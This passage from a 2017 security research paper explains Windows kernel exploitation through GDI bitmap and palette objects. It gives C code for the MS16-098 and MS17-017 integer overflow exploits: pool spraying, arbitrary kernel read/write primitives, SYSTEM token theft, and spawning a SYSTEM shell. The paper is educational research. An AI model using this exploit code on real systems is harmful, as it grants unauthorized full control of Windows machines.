next adjacent bitmap object sizlBitmap member with 0x1 and 0xFFFFFFFF, effectively expanding this 
bitmap object, allowing us to read/write past the original bounds of the bitmap object. 
If everything is working as planned, we should be able to read 0x1000 bytes from memory. Below 
there is the bitmap object before and after the overflow, the header, sizLBitmap and hdev members 
were overflowed. 
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Abusing Bitmap GDI Objects 

The way to figure out which bitmap object was the extended, is by iteratively, calling GetBitmapBits 
with size larger than the original values on each bitmap from our kernel pool spray; if it succeeds, then 
this bitmap was the one that was overflowed, making it the manager bitmap and the next one in the 
bitmap array will be the worker bitmap. 
 

for (int k=0; k < 5000; k++) {  

 res = GetBitmapBits(bitmaps[k], 0x1000, bits);  

 // if check succeeds we found our bitmap. 

 if (res > 0x150) 

 {  

  hManager = bitmaps[k]; 

  hWorker = bitmaps[k+1]; 

  break 

 } 

} 

 
The hManager will be the handle to the extended Manager bitmap object with relative memory 
read/write to the adjacent Worker bitmap object hWorker. Overwriting the Worker Bitmap’s 
pvScan0 with any address will allow read/write from that location in memory, gaining arbitrary 
read/write. 
A leaked Pool address that was part of the Region object adjacent to the Manager bitmap will be used 
to calculate the offset to the Pool page start, and by abusing the arbitrary kernel memory read/write, 
the overwritten headers of the Region and Bitmap objects that have been overwritten due to the 
overflow.  
The way to calculate the address of the overflowed region object is by nulling the lowest byte of the 
leaked address, which will give us the address of the beginning of the current page, subtract the second 
lowest byte by 0x10, effectively subtraction 0x1000 from the beginning of the current page that will 
result in the start address of the previous page. 
 

addr1[0x0] = 0; 

int u = addr1[0x1]; 

u = u - 0x10; 

addr1[1] = u; 

 
Next, the address to the overflowed Bitmap object is calculated, remember that the region object is 
of size 0xbc0, so setting the lowest byte of the address retrieved at the last step to 0xc0, and adding 
0xb to the second lowest byte, will result in the header address of the overflown bitmap object. 
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addr1[0] = 0xc0; 

int y = addr1[1]; 

y = y + 0xb; 

addr1[1] = y; 

 
Then, SetBitmapBits is used by the manager bitmap object to overwrite the pvScan0 member of the 
worker bitmap object with the address of the region header. Then the worker bitmap object is used 
with SetBitmapBits to set that data pointed to by this address to the header data read in the first step; 
the same is done for the overflowed bitmap object header. 
 

void SetAddress(BYTE* address) { 

 for (int i = 0; i < sizeof(address); i++) { 

  bits[0xdf0 + i] = address[i]; 

 } 

 SetBitmapBits(hManager, 0x1000, bits); 

} 

 

void WriteToAddress(BYTE* data) { 

 SetBitmapBits(hWorker, sizeof(data), data); 

} 

 

SetAddress(addr1); 

WriteToAddress(Gh05); 
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Steal SecurityToken  

With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to 
a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current 
process as explained in a previous section. 
 

// get System EPROCESS 

ULONG64 SystemEPROCESS = PsInitialSystemProcess(); 

//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); 

ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); 

//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); 

ULONG64 SystemToken = 0; 

// read token from system process 

ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE 

*)&SystemToken, 0x8); 

// write token to current process 

ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; 

SetAddress((BYTE *)&CurProccessAddr); 

WriteToAddress((BYTE *)&SystemToken); 

// Done and done. We're System :) 

 
Taken from Diego Juarez’s blog post [15]. 

	

SYSTEM!! 

Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling 
cmd.exe will drop into a SYSTEM shell. 

system("cmd.exe"); 
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The code and EXE for the exploit for Windows 8.1 x64 bit can be found at: 
https://github.com/sensepost/ms16-098  
More details about this exploit can be found at: 
https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-
bit-by-abusing-gdi-objects/  
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MS17-017 Win32k!EngRealizeBrush Integer Overflow leading to 
OOB Pool Write 

Understanding the Bug 

Last march Microsoft released a patch, which fixed a privilege escalation vulnerability affecting the GDI 
kernel sub system. The patched function was Win32k!EngRealizeBrush. As we all know, the March 
patch fixed allot of other more critical vulnerabilities used by “Shadow Brokers”, however, while 
everyone was analysing the SMB vulnerabilities, I got lucky analysing the privilege escalation bug. 

 

 
 

On the left is the patched function in Win32k.sys, comparing it to the unpatched version on the right. 
It was only obvious that there was an Integer overflow issue because of several integer verification 
functions such as ULonglongtoUlong, and others down the code. 
Even though the screenshot couldn’t fit the whole patch, I found it easier to just look at the unpatched 
function in IDA and try to determine what the issue was, and how it can be exploited. 
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Triggering the Overflow 

The Win32k!EngRealizeBrush function, can be reached by using the PatBlt function to draw an area, 
with the created palette using the brush selected into the current graphics device context. When 
creating the palette using solid or hatched brushes, it was noticed that the value that can be overflown 
was always 0x100 on my system, however when utilising a pattern based brush, the value was 
controlled. 
 
HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL); 

HBRUSH hbrBkgnd = CreatePatternBrush(bitmap); 

PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY); 

 
The above code snippet will reach the vulnerable function, with a controlled value at edi in the below 
code. 

 
The value at edi at the time, would be the bitmap.width member of the bitmap used with the pattern 
brush, a step-by-step of the calculations performed is as follows. 
 
x = Bitmap.width * 20 (ecx = 20 and its based of the HDC-

>bitmap.bitsperpixel) 

x = x / 2^3 

y = x * bitmap.height 

result = y + 0x44 

 
Then value of result is added to 0x40 and passed as the size parameter to the allocation function. 
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Since the values of bitmap.width and bitmap.height can be controlled, it’s just a matter of finding the 
right combination, which would result in an overflow. The value we are aiming to get after the overflow 
is 0x10 (explained later). 
For an overflown integer to be of that value the results of the calculations in reality must be equal to 
0x100000010. 

0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C 

A factor of an integer is used to find which two numbers, when multiplied together will result in that 
integer. 
One of the factors of 0xFFFFFF8C are 0x8c (140) and 0x30678337 (0x1d41d41) 
The value of the bitmap.width after the calculation should be 0x8c, (0x8c * 0x8)/0x20 = 0x23 
Using the following bitmap as the pattern brush source, we would overflow the value when its added 
to 0x40 and 0x44 to result in 0x10 allocation. 
 

HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL); 

 
After the allocation, the function would try to write to certain offsets of the allocated object, as shown 
below. If the allocation is below 0x30 bytes in size the write to [esi+0x3C] would result in an out-of-
bounds OOB write to that location. 
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Stars Alignment 

Remember the 0x10 value? The reason for choosing that specific value is for stars aligning, the object 
of choice to be overflown would be a bitmap object, to overwrite its height member, and gain a relative 
memory read/write primitive. 
The 32-bit _SURFOBJ has the height member at offset 0x14: 
 

Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + 

_BASE_OBJECT size (0x10)  + _SURFOBJ->height (0x14) = OOB write offset 

(0x3C) 

 
Precisely overwriting the height member of the adjacent bitmap object. To be completely honest, I 
did not just calculate the offsets and was done. It took a great amount of time, pain and trial and error 
to get this value so I was basically guessing when the stars aligned for me. Then it was time to check 
if this was actually happening in a debugger. 
By the end of the first section of the calculations, it can be seen that the value that would be passed 
to the calculation block is 0xFFFFFFD0 at ebx. 
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Moving to the allocation section, in the beginning the value 0xFFFFFFD0 is added to 0x40 resulting in 
0x10 in eax. 

 
Since at the end of the function, the allocated object is freed, the object needs to be allocated at the 
end of the memory page. The difference this time is that it should be directly followed by the bitmap 
object, so that we can overflow the Bitmap object height and extend its size to gain relative memory 
read/write.  
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At this point we have three choices, that we can go with: 
1. The extended Bitmap object can be used as a Manager, to overwrite the pvScan0 member of 

an adjacent Bitmap object, and use the second one as Worker. 
2. The extended Bitmap object can be used as a Manager, to overwrite an adjacent Palette object 

(XEPALOBJ) *pFirstColor member, and use the Palette as a Worker. 
3. Demo the full new Palette object technique, using the extended Bitmap object to overwrite 

the cEntries member of an adjacent Palette object, gaining relative memory read/write then 
use the modified Palette object as Manager, to control the *pFirstColor member of a second 
Palette and use the Second Palette as Worker. 

 
I decided to go with the last option, to take it as a chance to demo the new technique. To achieve 
this, it is necessary to to perform the kernel Pool Feng Shui as explained below. 
 

Kernel Pool Feng Shui 
The first allocations will be of a bitmap of allocation size 0xFE8, since we know the vulnerable object 
will have the size of 0x10+0x8 (POOL_HEADER), so we create 2000 allocations. 
0x1000 – 0x18 = 0xFE8 
 
for (int y = 0; y < 2000; y++) { 

 //0x3A3 = 0xFe8 

 bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL); 

 bitmaps[y] = bmp; 

} 
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The Next step is to allocate 2000 Objects of size 0x18, the best object that I found was the Window 
Class lpszMenuName. Although this is a User object it is one of the User objects that gets allocated 
to the Pages Session Pool, and I think it can be used to leak the address of GDI objects from User 
objects, but this is beyond the scope of this paper. 

// Spray LpszMenuName User object in GDI pool. Ustx 

// size 0x10+8 

TCHAR st[0x32]; 

for (int s = 0; s < 2000; s++) { 

 WNDCLASSEX Class2 = { 0 }; 

 wsprintf(st, "Class%d", s); 

 Class2.lpfnWndProc = DefWindowProc; 

 Class2.lpszClassName = st; 

 Class2.lpszMenuName = "Saif"; 

 Class2.cbSize = sizeof(WNDCLASSEX); 

 if (!RegisterClassEx(&Class2)) { 

  printf("bad %d %d\r\n", s, GetLastError()); 

  break; 

 } 

} 

 
The next step will be to delete(deallocate) all the large size Bitmap object Gh05 allocated to the 
beginning of the page. 

for (int s = 0; s < 2000; s++) { 

 DeleteObject(bitmaps[s]); 

} 
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And allocate smaller Bitmap objects Gh05 of size 0x7F8 that will be allocated to the beginning of the 
Pool Page, hopefully directly after the memory holes, where the vulnerable object will be placed. 

for (int k = 0; k < 2000; k++) { 

 //0x1A6 = 0x7f0+8 

 bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL); 

 bitmaps[k] = bmp; 

} 
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Next 2000 Palette objects Gh08 that will be abused, will be allocated with size 0x7E8 to the remaining 
free memory in kernel memory pages. 

HPALETTE hps; 

LOGPALETTE *lPalette; 

//0x1E3  = 0x7e8+8 

lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * 
sizeof(PALETTEENTRY)); 

lPalette->palNumEntries = 0x1E3; 

lPalette->palVersion = 0x0300; 

// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and 
// the tag is Gla18 

for (int k = 0; k < 2000; k++) { 

 hps = CreatePalette(lPalette); 

 if (!hps) { 

  printf("%s - %d - %d\r\n", "CreatePalette - Failed", 
GetLastError(), k); 

  //return; 

 } 

 hp[k] = hps; 

} 
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Then freeing some of the allocated Window Class lpszMenuName, to create memory holes the same 
size as the vulnerable object allocation, at the end of the Pool page. 

TCHAR fst[0x32]; 

for (int f = 500; f < 750; f++) { 

 wsprintf(fst, "Class%d", f); 

 UnregisterClass(fst, NULL); 

} 

 
If everything went according to plan the memory layout after the vulnerable object is allocated will be 
as follows. 
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Relative Read/Write Bitmap GDI Object Extension 

Now that the vulnerable object is placed at the end of the page and directly before a Bitmap object, 
the out-of-bounds write (mov [esi+3c], ecx), should write the DWORD 0x00000006 which 
represents the brush’s bitmap type (BMF_32BPP) controlled by the biBitCount, to the offset 0x3C of 
the vulnerable object, which will fall nicely with the Bitmap Object sizlBitmap height member. 

 
As shown above, the adjacent Bitmap object sizlBitmap.Height changed, from 0x1 to 0x6 successfully 
expanding the Bitmap size, so any subsequent operations on the affected Bitmap object, will result in 
OOB memory read/write. The way to find out which Bitmap is extended, will be by iterating over the 
allocated bitmaps, and find which one can read data using GetBitmapBits, past its original size. 

for (int i = 0; i < 2000; i++) { 

 res = GetBitmapBits(bitmaps[i], 0x6F8, bits); 

 if (res > 0x6F8 - 1) { 

  hManager = bitmaps[i]; 

  printf("[*] Manager Bitmap: %d\r\n", i); 

  break; 

 } 

} 
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Abusing Palette GDI Objects 

Once the Bitmap object is found, this Bitmap will be used to set the cEntries member of the adjacent 
Palette(XEPALOBJ) object to 0xFFFFFFFF, which is located at offset 0x6B8 of the bitmap bits. 

// BYTE *bytes = (BYTE*)&cEntries; 

for (int y = 0; y < 4; y++) { 

 bits[0x6F8 - 8 - 0x38 + y] = 0xFF; 

} 

SetBitmapBits((HBITMAP)hManager, 0x6F8, bits); 

 
The adjacent Palette object XEPALOBJ.cEntries before being set by the Bitmap Object. 

 
The updated XEPALOBJ.cEntries. 

 
By this point a loop will be performed to find which Palette Object was extended by using the 
GetPaletteEntries function, and monitoring if the result entries count is larger than the original 0x1E3. 

UINT *rPalette; 

rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY)); 

memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY)); 

for (int k = 0; k < 2000; k++) { 

 UINT res = GetPaletteEntries(hp[k], 0, 0x400, 
(LPPALETTEENTRY)rPalette); 

 if (res > 0x3BB) { 

  printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]); 

  hpManager = hp[k]; 

  break; 

 } 
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} 

 
Once the extended Palette Object is found we will save its handle to use it as the Manager, and set 
the next Palette Object *pFirstColor, which is at offset 0x3FE from Manager Palette object, to the 
address of a fixed Bitmap Object Pool Header. 

UINT wAddress = rPalette[0x3FE]; 

printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress); 

 

UINT tHeader = pFirstColor - 0x1000; 

tHeader = tHeader & 0xFFFFF000; 

printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader); 

 

SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader); 

 
As seen above, the Worker *pFirstColor member was successfully set to the fixed Bitmap object Pool 
header, which means that arbitrary memory read/write was achieved. The next step is to identify the 
Worker Palette object handle, we know that the fixed Bitmap object least significant byte of the 
POOL_HEADER will be 0x35 = 5d, since Gh15 translates to 0x35316847, to identify the Worker 
Palette Object, a loop will iterate over the allocated Palettes calling GetPaletteEntries, until a Palette 
is found that has first entry’s least significant byte = 0x35, and save its handle which is going to be our 
Worker Palette object. 

UINT wBuffer[2]; 

for (int x = 0; x < 2000; x++) { 

 GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer); 

 if (wBuffer[1] >> 24 == 0x35) { 

  hpWorker = hp[x]; 
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  printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", 
hpWorker); 

  printf("[*] wBuffer: %x\r\n", wBuffer[1]); 

  break; 

 } 

} 

 
The arbitrary memory read/write will be used to fix the clobbered Bitmap object header. 

VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; 

void SetAddress(UINT* address) { 

 SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, 
(PALETTEENTRY*)address); 

} 

 

void WriteToAddress(UINT* data, DWORD len) { 

 SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); 

} 

 

UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { 

 SetAddress((UINT *)&src); 

 DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, 
(LPPALETTEENTRY)dst); 

 return res; 

} 

 

Steal Token 32-bit 

With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to 
a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current 
process as explained in a previous section. 

// get System EPROCESS 

UINT SystemEPROCESS = PsInitialSystemProcess(); 

//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); 

UINT CurrentEPROCESS = PsGetCurrentProcess(); 

//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); 

UINT SystemToken = 0; 

// read token from system process 

ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1); 

fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken); 

// write token to current process 

UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; 

SetAddress(&CurProccessAddr); 
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SYSTEM!! 

Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling 
cmd.exe will drop into a SYSTEM shell. 

system("cmd.exe"); 

 



	
Demystifying Kernel Exploitation by 

Abusing GDI Objects 2017-07-18	
		 	

	

pg.	65	
	

 
  



	
Demystifying Kernel Exploitation by 

Abusing GDI Objects 2017-07-18	
		 	

	

pg.	66	
	

References 

[1] POOL_TYPES: https://msdn.microsoft.com/en-
us/library/windows/hardware/ff559707(v=vs.85).aspx  
[2] Tarjei Mandt – Kernel Pool: https://www.slideshare.net/hackitoergosum/hes2011-tarjei-mandt-
kernel-pool-exploitation-on-windows-7  
[3] Windows Kernel Exploitation: This Time Font hunt you down in 4 bytes – Keen Team: 
http://www.slideshare.net/PeterHlavaty/windows-kernel-exploitation-this-time-font-hunt-you-down-
in-4-bytes 
[4] Abusing GDI object for ring0 exploit primitives Reloaded: 
https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-
using-gdi-objects2  
[5] MSDN SURFOBJ: https://msdn.microsoft.com/en-us/library/ee489862.aspx  
[6] ReactOS x86 SURFOBJ: https://www.reactos.org/wiki/Techwiki:Win32k/SURFACE  
[7] https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives  
[8] ReactOS x86 Palette object: https://www.reactos.org/wiki/Techwiki:Win32k/PALETTE  
[9] GDIOBjDump: https://github.com/CoreSecurity/GDIObjDump  
[10] 360Vulcan team Win32k Dark Composition: https://www.slideshare.net/CanSecWest/csw2017-
peng-qiushefangzhong-win32k-darkcompositionfinnalfinnalrmmark  
[11] UlongMult: ] https://msdn.microsoft.com/en-
us/library/windows/desktop/bb776657(v=vs.85).aspx  
[12] Using Paths Example: https://msdn.microsoft.com/en-
us/library/windows/desktop/dd145181(v=vs.85).aspx  
[13] Device Context Types: https://msdn.microsoft.com/en-
us/library/windows/desktop/dd183560(v=vs.85).aspx 
[14] Nicolas Economou blog post: https://www.coresecurity.com/blog/ms16-039-windows-10-64-
bits-integer-overflow-exploitation-by-using-gdi-objects  
[15] Diego Juarez Abusing GDI Objects for ring0 Exploit Primitives: 
https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives  
  


